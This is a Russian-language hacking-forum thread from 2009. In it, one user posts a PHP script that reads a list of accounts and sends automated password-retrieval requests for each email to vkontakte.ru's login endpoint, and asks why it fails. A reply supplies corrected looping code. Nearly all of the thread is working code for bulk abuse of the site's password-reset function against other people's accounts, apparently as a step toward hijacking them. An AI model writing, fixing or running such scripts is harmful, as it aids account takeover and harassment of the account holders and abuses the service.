
19.12.2009, 14:59
|
|
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
С нами:
9223466
Репутация:
3171
|
|
Сообщение от le-mon
Не могу понять в чем может быть ошибка Vkontakte.ru Ретривер(высылание паролей по списку мыл)
PHP код:
(c)Player#1 for antichat.ru<br><br>
<?php
set_time_limit(0);
function curl($url,$post)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
curl_close($ch);
return $result;
};
$fp=fopen("accounts.txt", "rt");
while(!feof($fp))
{
$str = fgets($fp, 100);
$acc = explode(";", $str, 2);
$login = trim($acc[0]);
$post = "op=retrieve&email=".$login;
$result = curl("http://vkontakte.ru/login.php", $post);
echo $login;
flush();
if(strpos($result, "Location: login.php?p=1"))
{
echo " - Пароль выслан<br>";
}else{
echo "Ошибка!<br>";
};
};
fclose($fp);
?>
Хелп 
Если я не ошибюсь,то 100 - колво байтов,которые нам слебует получить = 100 символов.Так он и будет брат ь100 символов,эксплодить по ; и первое вождение подставлять в виде емаила.М?
Тут нужно:
PHP код:
$file = file('account.txt');
$count = count($file);
while($i < $count)
{
list($login,$password) = explode(';',$file[$i]);
$post = "op=retrieve&email=".$login;
$result = curl("http://vkontakte.ru/login.php", $post);
echo $login;
flush();
if(strpos($result, "Location: login.php?p=1"))
{
echo " - Пароль выслан<br>";
}else{
echo "Ошибка!<br>";
}
$i++;
}
Примерно так,писал на "коленке".
|
|
|